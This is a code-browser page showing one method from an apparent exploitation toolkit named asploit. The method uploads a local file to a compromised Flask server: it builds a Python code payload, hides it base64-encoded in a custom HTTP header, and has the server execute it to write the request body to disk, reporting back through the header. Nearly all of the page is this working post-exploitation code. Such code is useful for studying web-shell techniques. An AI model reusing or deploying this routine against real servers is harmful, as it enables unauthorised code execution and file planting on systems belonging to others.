MCPcopy Create free account
hub / github.com/Geeoon/asploit / _Base__upload

Method _Base__upload

src/FlaskExploitProcessor.py:220–271  ·  view source on GitHub ↗
(self, options: str)

Source from the content-addressed store, hash-verified

218 @brief See base class for details.
219 """
220 def _Base__upload(self, options: str):
221 if len(options) == 0:
222 raise CommandException("Specify a file to upload.")
223 local_file_path = Path(options)
224 if not local_file_path.exists():
225 raise CommandException("File does not exist.")
226 if not local_file_path.is_file():
227 raise CommandException("File is not a file.")
228
229 url = f"{self.host}{self.path}"
230 if not self.host.startswith("http"):
231 url = "http://" + url
232 try:
233 if (self.__file_exists(local_file_path.name)):
234 choice = input("Override existing file? [y/N] ")
235 if not choice.lower().startswith('y'):
236 return
237
238 message = (
239 f"global r;\n"
240 f"try:"
241 f"\t__import__('os').chdir('{self.directory}');"
242 f"r={self.flask_object}.make_response("
243 f"{self.flask_object},'');"
244 f"open('{options}','wb').write("
245 f"request.get_data(cache=False));"
246 f"r.headers['{self.header}']='RG9uZS4=';\n"
247 f"except Exception as e:\n"
248 f"\tr.headers['{self.header}']=__import__('base64')."
249 f"b64encode(str(e).encode());")
250 print("Uploading file...")
251 binary = local_file_path.read_bytes()
252
253 response = requests.request(
254 self.method,
255 url,
256 headers={ f"{self.header}":
257 base64.b64encode(message.encode()).decode() },
258 data=binary
259 )
260 if not response.ok:
261 raise Exception()
262 if not self.header in response.headers:
263 raise CommandException(
264 f"No message sent back from server, your exploit is "
265 f"probably being filtered by a firewall.")
266
267 print(base64.b64decode(response.headers[self.header]
268 .encode())
269 .decode())
270 except:
271 raise CommandException(f"Message was not successfully processed.")
272
273 """
274 @brief See base class for details.

Callers

nothing calls this directly

Calls 2

__file_existsMethod · 0.95
CommandExceptionClass · 0.85

Tested by

no test coverage detected